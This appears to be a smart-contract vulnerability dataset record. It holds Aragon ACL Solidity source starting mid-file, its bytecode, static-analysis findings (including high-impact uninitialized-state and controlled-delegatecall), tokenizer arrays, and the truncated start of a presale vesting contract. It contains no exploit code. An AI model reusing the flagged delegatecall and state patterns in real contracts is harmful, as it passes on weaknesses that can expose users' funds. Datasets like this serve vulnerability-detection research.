0xffffffffffffffffffffffffffffffffffffffff000000000000000000000000), 0x1000000000000000000000000) } } function uint32At(bytes _data, uint256 _location) internal pure returns (uint32 result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 0xffffffff00000000000000000000000000000000000000000000000000000000), 0x100000000000000000000000000000000000000000000000000000000) } } function locationOf(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := add(_data, add(0x20, _location)) } } function toBytes(bytes4 _sig) internal pure returns (bytes) { bytes memory payload = new bytes(4); payload[0] = bytes1(_sig); payload[1] = bytes1(_sig << 8); payload[2] = bytes1(_sig << 16); payload[3] = bytes1(_sig << 24); return payload; } function memcpy(uint _dest, uint _src, uint _len) public pure { uint256 src = _src; uint256 dest = _dest; uint256 len = _len; // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } //File: contracts/evmscript/EVMScriptRunner.sol pragma solidity ^0.4.18; contract EVMScriptRunner is AppStorage, EVMScriptRegistryConstants { using ScriptHelpers for bytes; function runScript(bytes _script, bytes _input, address[] _blacklist) protectState internal returns (bytes output) { // TODO: Too much data flying around, maybe extracting spec id here is cheaper address executorAddr = getExecutor(_script); require(executorAddr != address(0)); bytes memory calldataArgs = _script.encode(_input, _blacklist); bytes4 sig = IEVMScriptExecutor(0).execScript.selector; require(executorAddr.delegatecall(sig, calldataArgs)); return returnedDataDecoded(); } function getExecutor(bytes _script) public view returns (IEVMScriptExecutor) { return IEVMScriptExecutor(getExecutorRegistry().getScriptExecutor(_script)); } // TODO: Internal function getExecutorRegistry() internal view returns (IEVMScriptRegistry) { address registryAddr = kernel.getApp(EVMSCRIPT_REGISTRY_APP); return IEVMScriptRegistry(registryAddr); } /** * @dev copies and returns last's call data. Needs to ABI decode first */ function returnedDataDecoded() internal view returns (bytes ret) { assembly { let size := returndatasize switch size case 0 {} default { ret := mload(0x40) // free mem ptr get mstore(0x40, add(ret, add(size, 0x20))) // free mem ptr set returndatacopy(ret, 0x20, sub(size, 0x20)) // copy return data } } return ret; } modifier protectState { address preKernel = kernel; bytes32 preAppId = appId; _; // exec require(kernel == preKernel); require(appId == preAppId); } } //File: contracts/acl/ACLSyntaxSugar.sol pragma solidity 0.4.18; contract ACLSyntaxSugar { function arr() internal pure returns (uint256[] r) {} function arr(bytes32 _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(address _a, address _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c); } function arr(address _a, uint256 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), _c, _d, _e); } function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(uint256 _a) internal pure returns (uint256[] r) { r = new uint256[](1); r[0] = _a; } function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) { r = new uint256[](2); r[0] = _a; r[1] = _b; } function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { r = new uint256[](3); r[0] = _a; r[1] = _b; r[2] = _c; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { r = new uint256[](4); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { r = new uint256[](5); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; r[4] = _e; } } contract ACLHelpers { function decodeParamOp(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 30)); } function decodeParamId(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 31)); } function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) { a = uint32(_x); b = uint32(_x >> (8 * 4)); c = uint32(_x >> (8 * 8)); } } //File: contracts/apps/AragonApp.sol pragma solidity ^0.4.18; contract AragonApp is AppStorage, Initializable, ACLSyntaxSugar, EVMScriptRunner { modifier auth(bytes32 _role) { require(canPerform(msg.sender, _role, new uint256[](0))); _; } modifier authP(bytes32 _role, uint256[] params) { require(canPerform(msg.sender, _role, params)); _; } function canPerform(address _sender, bytes32 _role, uint256[] params) public view returns (bool) { bytes memory how; // no need to init memory as it is never used if (params.length > 0) { uint256 byteLength = params.length * 32; assembly { how := params // forced casting mstore(how, byteLength) } } return address(kernel) == 0 || kernel.hasPermission(_sender, address(this), _role, how); } } //File: contracts/acl/ACL.sol pragma solidity 0.4.18; interface ACLOracle { function canPerform(address who, address where, bytes32 what) public view returns (bool); } contract ACL is IACL, AragonApp, ACLHelpers { bytes32 constant public CREATE_PERMISSIONS_ROLE = keccak256("CREATE_PERMISSIONS_ROLE"); // whether a certain entity has a permission mapping (bytes32 => bytes32) permissions; // 0 for no permission, or parameters id mapping (bytes32 => Param[]) public permissionParams; // who is the manager of a permission mapping (bytes32 => address) permissionManager; enum Op { NONE, EQ, NEQ, GT, LT, GTE, LTE, NOT, AND, OR, XOR, IF_ELSE, RET } // op types struct Param { uint8 id; uint8 op; uint240 value; // even though value is an uint240 it can store addresses // in the case of 32 byte hashes losing 2 bytes precision isn't a huge deal // op and id take less than 1 byte each so it can be kept in 1 sstore } uint8 constant BLOCK_NUMBER_PARAM_ID = 200; uint8 constant TIMESTAMP_PARAM_ID = 201; uint8 constant SENDER_PARAM_ID = 202; uint8 constant ORACLE_PARAM_ID = 203; uint8 constant LOGIC_OP_PARAM_ID = 204; uint8 constant PARAM_VALUE_PARAM_ID = 205; // TODO: Add execution times param type? bytes32 constant public EMPTY_PARAM_HASH = keccak256(uint256(0)); address constant ANY_ENTITY = address(-1); modifier onlyPermissionManager(address _app, bytes32 _role) { require(msg.sender == getPermissionManager(_app, _role)); _; } event SetPermission(address indexed entity, address indexed app, bytes32 indexed role, bool allowed); event ChangePermissionManager(address indexed app, bytes32 indexed role, address indexed manager); /** * @dev Initialize can only be called once. It saves the block number in which it was initialized. * @notice Initializes an ACL instance and sets `_permissionsCreator` as the entity that can create other permissions * @param _permissionsCreator Entity that will be given permission over createPermission */ function initialize(address _permissionsCreator) onlyInit public { initialized(); require(msg.sender == address(kernel)); _createPermission(_permissionsCreator, this, CREATE_PERMISSIONS_ROLE, _permissionsCreator); } /** * @dev Creates a permission that wasn't previously set. Access is limited by the ACL. * If a created permission is removed it is possible to reset it with createPermission. * @notice Create a new permission granting `_entity` the ability to perform actions of role `_role` on `_app` (setting `_manager` as the permission manager) * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform * @param _manager Address of the entity that will be able to grant and revoke the permission further. */ function createPermission(address _entity, address _app, bytes32 _role, address _manager) external { require(hasPermission(msg.sender, address(this), CREATE_PERMISSIONS_ROLE)); _createPermission(_entity, _app, _role, _manager); } /** * @dev Grants permission if allowed. This requires `msg.sender` to be the permission manager * @notice Grants `_entity` the ability to perform actions of role `_role` on `_app` * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform */ function grantPermission(address _entity, address _app, bytes32 _role) external { grantPermissionP(_entity, _app, _role, new uint256[](0)); } /** * @dev Grants a permission with parameters if allowed. This requires `msg.sender` to be the permission manager * @notice Grants `_entity` the ability to perform actions of role `_role` on `_app` * @param _entity Address of the whitelisted entity that will be able to perform the role * @param _app Address of the app in which the role will be allowed (requires app to depend on kernel for ACL) * @param _role Identifier for the group of actions in app given access to perform * @param _params Permission parameters */ function grantPermissionP(address _entity, address _app, bytes32 _role, uint256[] _params) onlyPermissionManager(_app, _role) public { require(!hasPermission(_entity, _app, _role)); bytes32 paramsHash = _params.length > 0 ? _saveParams(_params) : EMPTY_PARAM_HASH; _setPermission(_entity, _app, _role, paramsHash); } /** * @dev Revokes permission if allowed. This requires `msg.sender` to be the the permission manager * @notice Revokes `_entity` the ability to perform actions of role `_role` on `_app` * @param _entity Address of the whitelisted entity to revoke access from * @param _app Address of the app in which the role will be revoked * @param _role Identifier for the group of actions in app being revoked */ function revokePermission(address _entity, address _app, bytes32 _role) onlyPermissionManager(_app, _role) external { require(hasPermission(_entity, _app, _role)); _setPermission(_entity, _app, _role, bytes32(0)); } /** * @notice Sets `_newManager` as the manager of the permission `_role` in `_app` * @param _newManager Address for the new manager * @param _app Address of the app in which the permission management is being transferred * @param _role Identifier for the group of actions being transferred */ function setPermissionManager(address _newManager, address _app, bytes32 _role) onlyPermissionManager(_app, _role) external { _setPermissionManager(_newManager, _app, _role); } /** * @dev Get manager for permission * @param _app Address of the app * @param _role Identifier for a group of actions in app * @return address of the manager for the permission */ function getPermissionManager(address _app, bytes32 _role) public view returns (address) { return permissionManager[roleHash(_app, _role)]; } /** * @dev Function called by apps to check ACL on kernel or to check permission statu * @param _who Sender of the original call * @param _where Address of the app * @param _where Identifier for a group of actions in app * @param _how Permission parameters * @return boolean indicating whether the ACL allows the role or not */ function hasPermission(address _who, address _where, bytes32 _what, bytes memory _how) public view returns (bool) { uint256[] memory how; uint256 intsLength = _how.length / 32; assembly { how := _how // forced casting mstore(how, intsLength) } // _how is invalid from this point fwd return hasPermission(_who, _where, _what, how); } function hasPermission(address _who, address _where, bytes32 _what, uint256[] memory _how) public view returns (bool) { bytes32 whoParams = permissions[permissionHash(_who, _where, _what)]; if (whoParams != bytes32(0) && evalParams(whoParams, _who, _where, _what, _how)) { return true; } bytes32 anyParams = permissions[permissionHash(ANY_ENTITY, _where, _what)]; if (anyParams != bytes32(0) && evalParams(anyParams, ANY_ENTITY, _where, _what, _how)) { return true; } return false; } function hasPermission(address _who, address _where, bytes32 _what) public view returns (bool) { uint256[] memory empty = new uint256[](0); return hasPermission(_who, _where, _what, empty); } /** * @dev Internal createPermission for access inside the kernel (on instantiation) */ function _createPermission(address _entity, address _app, bytes32 _role, address _manager) internal { // only allow permission creation (or re-creation) when there is no manager require(getPermissionManager(_app, _role) == address(0)); _setPermission(_entity, _app, _role, EMPTY_PARAM_HASH); _setPermissionManager(_manager, _app, _role); } /** * @dev Internal function called to actually save the permission */ function _setPermission(address _entity, address _app, bytes32 _role, bytes32 _paramsHash) internal { permissions[permissionHash(_entity, _app, _role)] = _paramsHash; SetPermission(_entity, _app, _role, _paramsHash != bytes32(0)); } function _saveParams(uint256[] _encodedParams) internal returns (bytes32) { bytes32 paramHash = keccak256(_encodedParams); Param[] storage params = permissionParams[paramHash]; if (params.length == 0) { // params not saved before for (uint256 i = 0; i < _encodedParams.length; i++) { uint256 encodedParam = _encodedParams[i]; Param memory param = Param(decodeParamId(encodedParam), decodeParamOp(encodedParam), uint240(encodedParam)); params.push(param); } } return paramHash; } function evalParams( bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how ) internal view returns (bool) { if (_paramsHash == EMPTY_PARAM_HASH) { return true; } return evalParam(_paramsHash, 0, _who, _where, _what, _how); } function evalParam( bytes32 _paramsHash, uint32 _paramId, address _who, address _where, bytes32 _what, uint256[] _how ) internal view returns (bool) { if (_paramId >= permissionParams[_paramsHash].length) { return false; // out of bounds } Param memory param = permissionParams[_paramsHash][_paramId]; if (param.id == LOGIC_OP_PARAM_ID) { return evalLogic(param, _paramsHash, _who, _where, _what, _how); } uint256 value; uint256 comparedTo = uint256(param.value); // get value if (param.id == ORACLE_PARAM_ID) { value = ACLOracle(param.value).canPerform(_who, _where, _what) ? 1 : 0; comparedTo = 1; } else if (param.id == BLOCK_NUMBER_PARAM_ID) { value = blockN(); } else if (param.id == TIMESTAMP_PARAM_ID) { value = time(); } else if (param.id == SENDER_PARAM_ID) { value = uint256(msg.sender); } else if (param.id == PARAM_VALUE_PARAM_ID) { value = uint256(param.value); } else { if (param.id >= _how.length) { return false; } value = uint256(uint240(_how[param.id])); // force lost precision } if (Op(param.op) == Op.RET) { return uint256(value) > 0; } return compare(value, Op(param.op), comparedTo); } function evalLogic(Param _param, bytes32 _paramsHash, address _who, address _where, bytes32 _what, uint256[] _how) internal view returns (bool) { if (Op(_param.op) == Op.IF_ELSE) { var (condition, success, failure) = decodeParamsList(uint256(_param.value)); bool result = evalParam(_paramsHash, condition, _who, _where, _what, _how); return evalParam(_paramsHash, result ? success : failure, _who, _where, _what, _how); } var (v1, v2,) = decodeParamsList(uint256(_param.value)); bool r1 = evalParam(_paramsHash, v1, _who, _where, _what, _how); if (Op(_param.op) == Op.NOT) { return !r1; } if (r1 && Op(_param.op) == Op.OR) { return true; } if (!r1 && Op(_param.op) == Op.AND) { return false; } bool r2 = evalParam(_paramsHash, v2, _who, _where, _what, _how); if (Op(_param.op) == Op.XOR) { return (r1 && !r2) || (!r1 && r2); } return r2; // both or and and depend on result of r2 after checks } function compare(uint256 _a, Op _op, uint256 _b) internal pure returns (bool) { if (_op == Op.EQ) return _a == _b; // solium-disable-line lbrace if (_op == Op.NEQ) return _a != _b; // solium-disable-line lbrace if (_op == Op.GT) return _a > _b; // solium-disable-line lbrace if (_op == Op.LT) return _a < _b; // solium-disable-line lbrace if (_op == Op.GTE) return _a >= _b; // solium-disable-line lbrace if (_op == Op.LTE) return _a <= _b; // solium-disable-line lbrace return false; } /** * @dev Internal function that sets management */ function _setPermissionManager(address _newManager, address _app, bytes32 _role) internal { permissionManager[roleHash(_app, _role)] = _newManager; ChangePermissionManager(_app, _role, _newManager); } function roleHash(address _where, bytes32 _what) pure internal returns (bytes32) { return keccak256(uint256(1), _where, _what); } function permissionHash(address _who, address _where, bytes32 _what) pure internal returns (bytes32) { return keccak256(uint256(2), _who, _where, _what); } function time() internal view returns (uint64) { return uint64(block.timestamp); } // solium-disable-line security/no-block-members function blockN() internal view returns (uint256) { return block.number; } }
0x6060604052600436106100f85763ffffffff60e060020a6000350416630a8ed3db81146100fd5780633d6ab68f1461012757806360b1e0571461014c5780636815c9921461015f5780636d6712d8146101c9578063710a83151461020557806380afdea8146102525780638b3dd749146102655780639b3fdf4c146102785780639d0effdb1461028b578063a1658fad146102b3578063afd925df14610316578063b19057271461033e578063be0384781461037c578063c4d66de8146103ab578063c513f66e146103ca578063d4aae0c4146103dd578063f520b58d146103f0578063f92a79ff1461045a578063fdef9106146104ab575b600080fd5b341561010857600080fd5b610125600160a060020a0360043581169060243516604435610517565b005b341561013257600080fd5b61013a610547565b60405190815260200160405180910390f35b341561015757600080fd5b61013a61057b565b341561016a57600080fd5b610125600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496506105af95505050505050565b34156101d457600080fd5b6101f1600160a060020a0360043581169060243516604435610632565b604051901515815260200160405180910390f35b341561021057600080fd5b61021e600435602435610673565b60405160ff9384168152919092166020820152600160f060020a039091166040808301919091526060909101905180910390f35b341561025d57600080fd5b61013a6106bb565b341561027057600080fd5b61013a6106c1565b341561028357600080fd5b61013a6106c8565b341561029657600080fd5b610125600160a060020a0360043581169060243516604435610744565b34156102be57600080fd5b6101f160048035600160a060020a031690602480359190606490604435908101908301358060208082020160405190810160405280939291908181526020018383602002808284375094965061079995505050505050565b341561032157600080fd5b610125600160a060020a03600435811690602435166044356108d7565b341561034957600080fd5b610360600160a060020a036004351660243561090d565b604051600160a060020a03909116815260200160405180910390f35b341561038757600080fd5b610125600160a060020a03600435811690602435811690604435906064351661093e565b34156103b657600080fd5b610125600160a060020a0360043516610996565b34156103d557600080fd5b61013a610a05565b34156103e857600080fd5b610360610a1b565b34156103fb57600080fd5b6101f1600160a060020a03600480358216916024803590911691604435916084906064359081019083013580602081810201604051908101604052809392919081815260200183836020028082843750949650610a2a95505050505050565b341561046557600080fd5b61036060046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ad095505050505050565b34156104b657600080fd5b6101f1600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bac95505050505050565b610542838383600060405180591061052c5750595b90808252806020026020018201604052506105af565b505050565b6040517f4352454154455f5045524d495353494f4e535f524f4c450000000000000000008152601701604051809103902081565b6040517f65766d7265672e617261676f6e706d2e657468000000000000000000000000008152601301604051809103902081565b600083836105bd828261090d565b600160a060020a031633600160a060020a03161415156105dc57600080fd5b6105e7878787610632565b156105f157600080fd5b6000845111610612576000604051908152602001604051809103902061061b565b61061b84610be5565b925061062987878786610d3a565b50505050505050565b600061063c6115bd565b600060405180591061064b5750595b9080825280602002602001820160405250905061066a85858584610a2a565b95945050505050565b60656020528160005260406000208181548110151561068e57fe5b60009182526020909120015460ff80821693506101008204169150620100009004600160f060020a031683565b60015481565b6003545b90565b6040517f6170700000000000000000000000000000000000000000000000000000000000815260030160405180910390206040517f65766d7265672e617261676f6e706d2e6574680000000000000000000000000081526013016040518091039020604051918252602082015260409081019051809103902081565b8181610750828261090d565b600160a060020a031633600160a060020a031614151561076f57600080fd5b61077a858585610632565b151561078557600080fd5b6107928585856000610d3a565b5050505050565b60006107a36115bd565b600080845111156107bc57835160200290508391508082525b600054600160a060020a031615806108cd575060008054600160a060020a03169063fdef91069088903090899087906040516020015260405160e060020a63ffffffff8716028152600160a060020a0380861660048301908152908516602483015260448201849052608060648301908152909160840183818151815260200191508051906020019080838360005b8381101561086357808201518382015260200161084b565b50505050905090810190601f1680156108905780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b15156108b157600080fd5b6102c65a03f115156108c257600080fd5b505050604051805190505b9695505050505050565b81816108e3828261090d565b600160a060020a031633600160a060020a031614151561090257600080fd5b610792858585610daf565b60006066600061091d8585610e31565b8152602081019190915260400160002054600160a060020a03169392505050565b61097933306040517f4352454154455f5045524d495353494f4e535f524f4c4500000000000000000081526017016040518091039020610632565b151561098457600080fd5b61099084848484610e75565b50505050565b600354156109a357600080fd5b6109ab610ebd565b60005433600160a060020a039081169116146109c657600080fd5b610a0281306040517f4352454154455f5045524d495353494f4e535f524f4c450000000000000000008152601701604051809103902084610e75565b50565b6000604051908152602001604051809103902081565b600054600160a060020a031681565b600080600060646000610a3e898989610ed7565b815260208101919091526040016000205491508115801590610a685750610a688288888888610f28565b15610a765760019250610ac6565b60646000610a876000198989610ed7565b815260208101919091526040016000205490508015801590610ab35750610ab381600019888888610f28565b15610ac15760019250610ac6565b600092505b5050949350505050565b6000610ada610f5b565b600160a060020a03166304bf2a7f836000604051602001526040518263ffffffff1660e060020a0281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b41578082015183820152602001610b29565b50505050905090810190601f168015610b6e5780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1515610b8c57600080fd5b6102c65a03f11515610b9d57600080fd5b50505060405180519392505050565b6000610bb66115bd565b600060208451811515610bc557fe5b049050839150808252610bda87878785610a2a565b979650505050505050565b6000806000806000610bf56115cf565b8660405180828051906020019060200280838360005b83811015610c23578082015183820152602001610c0b565b505050509050019150506040519081900390206000818152606560205260409020805491965094501515610d2f57600092505b8651831015610d2f57868381518110610c6b57fe5b906020019060200201519150606060405190810160405280610c8c8461104b565b60ff168152602001610c9d84611071565b60ff16815260200183600160f060020a03168152509050838054806001018281610cc791906115ef565b600092835260209092208391018151815460ff191660ff919091161781556020820151815460ff919091166101000261ff001990911617815560408201518154600160f060020a0391909116620100000261ffff909116179055505060019290920191610c56565b509295945050505050565b8060646000610d4a878787610ed7565b815260208101919091526040908101600020919091558290600160a060020a0380861691908716907f759b9a74d5354b5801710a0c1b283cc9f0d32b607ac8ced10c83ac8e75c77d52908515159051901515815260200160405180910390a450505050565b8260666000610dbe8585610e31565b815260208101919091526040908101600020805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03938416179055848216918391908516907ff3addc8b8e25ee11528a61b0e65092cae0666ef0ec0c64cb303993c88d689b4d905160405180910390a4505050565b600060018383604051928352600160a060020a03919091166c0100000000000000000000000002602083015260348201526054016040518091039020905092915050565b6000610e81848461090d565b600160a060020a031614610e9457600080fd5b610eb284848460006040519081526020016040518091039020610d3a565b610990818484610daf565b60035415610eca57600080fd5b610ed2611096565b600355565b600060028484846040519384526c01000000000000000000000000600160a060020a0393841681026020860152919092160260348301526048820152606801604051809103902090505b9392505050565b600080604051908152602001604051908190039020861415610f4c5750600161066a565b6108cd8660008787878761109a565b600080548190600160a060020a03166342c71f1d6040517f6170700000000000000000000000000000000000000000000000000000000000815260030160405180910390206040517f65766d7265672e617261676f6e706d2e6574680000000000000000000000000081526013016040518091039020604051918252602082015260409081019051809103902060006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b151561102757600080fd5b6102c65a03f1151561103857600080fd5b50505060405180519250829150505b5090565b7f0100000000000000000000000000000000000000000000000000000000000000900490565b7e01000000000000000000000000000000000000000000000000000000000000900490565b4390565b60006110a46115cf565b600088815260656020526040812054819063ffffffff8a16106110ca5760009350611320565b60008a8152606560205260409020805463ffffffff8b169081106110ea57fe5b906000526020600020900160606040519081016040908152915460ff80821683526101008204166020830152620100009004600160f060020a031691810191909152925060cc835160ff16141561115057611149838b8a8a8a8a61132d565b9350611320565b8260400151600160f060020a0316905060cb835160ff161415611212578260400151600160a060020a0316631a2b625089898960006040516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156111db57600080fd5b6102c65a03f115156111ec57600080fd5b50505060405180519050611201576000611204565b60015b60ff169150600190506112cf565b60c8835160ff16141561122e57611227611096565b91506112cf565b60c9835160ff161415611254576112436114e3565b67ffffffffffffffff1691506112cf565b60ca835160ff1614156112725733600160a060020a031691506112cf565b60cd835160ff161415611294578260400151600160f060020a031691506112cf565b8451835160ff16106112a95760009350611320565b84835160ff16815181106112b957fe5b90602001906020020151600160f060020a031691505b600c836020015160ff16600c8111156112e457fe5b600c8111156112ef57fe5b141561130057600082119350611320565b61131d82846020015160ff16600c81111561131757fe5b836114e7565b93505b5050509695505050505050565b60008080808080808080600b8f6020015160ff16600c81111561134c57fe5b600c81111561135757fe5b14156113aa576113738f60400151600160f060020a03166115a4565b9750975097506113878e898f8f8f8f61109a565b94506113a38e86611398578761139a565b885b8f8f8f8f61109a565b98506114d1565b6113c08f60400151600160f060020a03166115a4565b50935093506113d38e858f8f8f8f61109a565b915060078f6020015160ff16600c8111156113ea57fe5b600c8111156113f557fe5b141561140457811598506114d1565b81801561142e575060098f6020015160ff16600c81111561142157fe5b600c81111561142c57fe5b145b1561143c57600198506114d1565b81158015611467575060088f6020015160ff16600c81111561145a57fe5b600c81111561146557fe5b145b1561147557600098506114d1565b6114838e848f8f8f8f61109a565b9050600a8f6020015160ff16600c81111561149a57fe5b600c8111156114a557fe5b14156114cd578180156114b6575080155b806113a35750811580156113a357508098506114d1565b8098505b50505050505050509695505050505050565b4290565b6000600183600c8111156114f757fe5b14156115065750828114610f21565b600283600c81111561151457fe5b1415611524575082811415610f21565b600383600c81111561153257fe5b14156115415750808311610f21565b600483600c81111561154f57fe5b141561155e5750808310610f21565b600583600c81111561156c57fe5b141561157c575080831015610f21565b600683600c81111561158a57fe5b141561159a575080831115610f21565b5060009392505050565b9064010000000082049068010000000000000000830490565b60206040519081016040526000815290565b606060405190810160409081526000808352602083018190529082015290565b815481835581811511610542576000838152602090206105429181019083016106c591905b8082111561104757600081556001016116145600a165627a7a7230582089c09ffb3fa50aa1837c9d9b584cb81ab60623cac8c1b2d7cbf86fcdf52cb6000029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
true
null
{'detectors': [{'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'controlled-delegatecall', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'constant-function-asm', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'incorrect-equality', 'impact': 'Medium', 'confidence': 'High'}]}
[ 101, 1014, 2595, 2683, 2575, 2546, 2692, 23632, 2497, 2683, 2575, 19841, 2620, 2620, 17134, 2497, 2487, 2094, 2581, 2620, 2683, 16086, 2575, 2683, 23833, 2278, 25746, 2549, 2063, 2581, 27531, 23777, 28756, 2549, 1013, 1013, 5371, 1024, 8311, 1013, 9353, 2140, 1013, 24264, 20464, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 8278, 24264, 20464, 1063, 3853, 3988, 4697, 1006, 4769, 6656, 11020, 16416, 4263, 1007, 2270, 1025, 3853, 2038, 4842, 25481, 1006, 4769, 2040, 1010, 4769, 2073, 1010, 27507, 16703, 2054, 1010, 27507, 2129, 1007, 2270, 3193, 5651, 1006, 22017, 2140, 1007, 1025, 1065, 1013, 1013, 5371, 1024, 8311, 1013, 16293, 1013, 25209, 12119, 2140, 1012, 14017, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1018, 1012, 2324, 1025, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,529
0x96f0ef806a123f81a64693023b5797c442e97Bbd
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; pragma abicoder v2; import {SafeERC20} from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import {SafeMath} from "@openzeppelin/contracts/math/SafeMath.sol"; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import {OwnableUpgradeable} from "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol"; import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol"; interface IERC20Burnable is IERC20 { function burn(uint256 amount) external; } /** * @title UZPreSaleVesting * @author Unizen * @notice Presale distribution contract, that also allows claiming * all of the rewards of the whole quarter, as holder tokens. These can be * swapped 1 : 1 for an already vested amount of the final reward token. * This is relevant, since holder tokens can be staked, just as the real token * so the early investors don't lose out on an important benefit. **/ contract UZPreSaleVesting is Initializable, OwnableUpgradeable, PausableUpgradeable { using SafeERC20 for IERC20; using SafeERC20 for IERC20Burnable; using SafeMath for uint256; struct UserData { // users total utility tokens uint256 totalRewards; // used to store pending rewards // if a date needs to be adjusted uint256 savedRewards; // already claimed rewards uint256 claimedRewards; // tranches of holder tokens claimed uint8 claimedTranches; } // user data for stakers mapping(address => UserData) public _userData; // the actual token, that will be vested IERC20 public utilityToken; // the non transferable holder token IERC20Burnable public holderToken; // blockHeights of the distributions tranches uint256[] public _tranches; // amount of blocks per tranche uint256 public _trancheDuration; // safety guard in case somethings goes wrong // the contract can be halted bool internal _locked; function initialize( uint256 startBlock, uint256 duration, address rewardToken, address swapToken ) public virtual initializer { __Ownable_init(); __Pausable_init(); utilityToken = IERC20(rewardToken); holderToken = IERC20Burnable(swapToken); _calculateTranches(startBlock, duration); _locked = false; } /* view functions */ /** * @dev Returns current vested amount of utility tokens * @return pendingRewards amount of accrued / swappable utility tokens **/ function getPendingUtilityTokens() external view returns (uint256 pendingRewards) { pendingRewards = _getPendingUtilityTokens(_msgSender()); } /** * @dev Returns the amount of accrued holder tokens for the current user * @return pendingHolderTokens amount of accrued / claimable holder tokens * @return tranches amount of claimable trances (max 3) **/ function getPendingHolderTokens() public view returns (uint256 pendingHolderTokens, uint8 tranches) { // return 0 if tranches are not set or first tranche is still in the future if (_tranches[0] == 0 || _tranches[0] >= block.number) return (0, 0); // fetch users data UserData storage user = _userData[_msgSender()]; // if user has no rewards assigned, return 0 if (_userData[_msgSender()].totalRewards == 0) return (0, 0); // calculate the amount of holder tokens per tranche uint256 trancheAmount = user.totalRewards.div(_tranches.length); // check every tranch if it can be claimed for (uint256 i = 0; i < _tranches.length; i++) { // tranches start block needs to be in the bast and needs to be unclaimed if (block.number > _tranches[i] && user.claimedTranches <= i) { // increase the amount of pending holder tokens pendingHolderTokens = pendingHolderTokens.add(trancheAmount); // increase the amount of pending tranches tranches++; } } } /** * @dev Helper function to check if a user is eligible for pre sale vesting * @param user address to check for eligibility * @return 